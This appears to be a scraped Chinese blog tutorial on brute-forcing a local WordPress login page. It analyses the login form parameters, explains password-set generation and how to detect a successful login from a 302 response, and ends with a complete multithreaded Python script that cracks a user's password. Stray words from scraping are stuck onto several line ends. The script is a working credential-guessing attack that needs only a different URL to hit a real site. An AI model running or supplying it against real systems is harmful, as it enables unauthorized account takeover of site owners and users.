搭建了一個本地wordpress,寫一個基於多線程異步I/O的暴力破解php
提交錯誤的表單數據時,查看請求參數python
登陸時發送的cookieweb
通過屢次測試,發現不管是輸入正確的密碼仍是錯誤的密碼,這些登陸須要提交的參數是不會改變的。而且只要登陸成功,服務器必定會返回包含sessionid的cookie。整理後的發送參數以下:服務器
log:用戶名
pwd:密碼
wp-submit:Log In(定值)
redirect_to:http://localhost/wordpress/wp-admin
test_cookie:1(定值)cookie
wordpress_test_cookie:WP Cookie check(定值)session
口令集:
暴力破解通常是使用口令字符的所有排列組合,所使用的口令集可以使用itertool模塊的笛卡爾積生成方法(product)來生成。固然這樣計算開銷比較大,適合口令長度比較小的狀況。固然也可使用字典,那麼就可能須要結合用戶信息定製字典。數據結構
數據結構:
使用隊列來存儲口令集是個很不錯的選擇,可以極大得下降數據讀取的複雜性。多線程
模擬登錄:
經過requests模塊發送post請求,來模擬登錄,發送的參數與cookie依照上面的分析來發送便可。異步
登錄:
登錄失敗,只是本地刷新,因此響應碼200。登錄成功後,跳轉到管理員後臺,返回響應碼302。ide
優化破解性能:
可以使用異步I/O來進行破解過程的優化,待實現。
# !/usr/bin/env python # -*- coding:utf-8 -*- import requests import sys import itertools import Queue import threading import time class Bruter(object): def __init__(self, user, characters, pwd_len, threads): self.user = user self.found = False # 存放破解結果,破解成功爲True,失敗爲False self.threads = threads print '構建待測試口令隊列中...' self.pwd_queue = Queue.Queue() for pwd in list(itertools.product(characters, repeat=pwd_len)): self.pwd_queue.put(''.join(pwd)) self.result = None print '構建成功!' def brute(self): for i in range(self.threads): t = threading.Thread(target=self.__web_bruter) t.start() print '破解線程-->%s 啓動' % t.ident while (not self.pwd_queue.empty()): # 剩餘口令集判斷 sys.stdout.write('\r 進度: 還剩餘%s個口令 (每1s刷新)' % self.pwd_queue.qsize()) sys.stdout.flush() time.sleep(1) print '\n破解完畢' def __login(self, pwd): url = 'http://localhost/wordpress/wp-login.php' values = {'log': self.user, 'pwd': pwd, 'wp-submit': 'Log In', 'redirect_to': 'http://localhost/wordpress/wp-admin', 'test_cookie': '1'} my_cookie = {'wordpress_test_cookie': 'WP Cookie check'} r = requests.post(url, data=values, cookies=my_cookie, allow_redirects=False) # 禁用重定向,以便後邊判斷登錄狀態 if r.status_code == 302: # 登錄狀態判斷 return True return False def __web_bruter(self): # 破解子線程函數 while not self.pwd_queue.empty() and not self.found: pwd_test = self.pwd_queue.get() if self.__login(pwd_test): self.found = True self.result = pwd_test print '破解 %s 成功,密碼爲: %s' % (self.user, pwd_test) else: self.found = False if __name__ == '__main__': if len(sys.argv) != 5: print '用法 : cmd [用戶名] [密碼字符] [密碼長度] [線程數]' exit(0) b = Bruter(sys.argv[1], sys.argv[2], int(sys.argv[3]), int(sys.argv[4])) b.brute() print b.result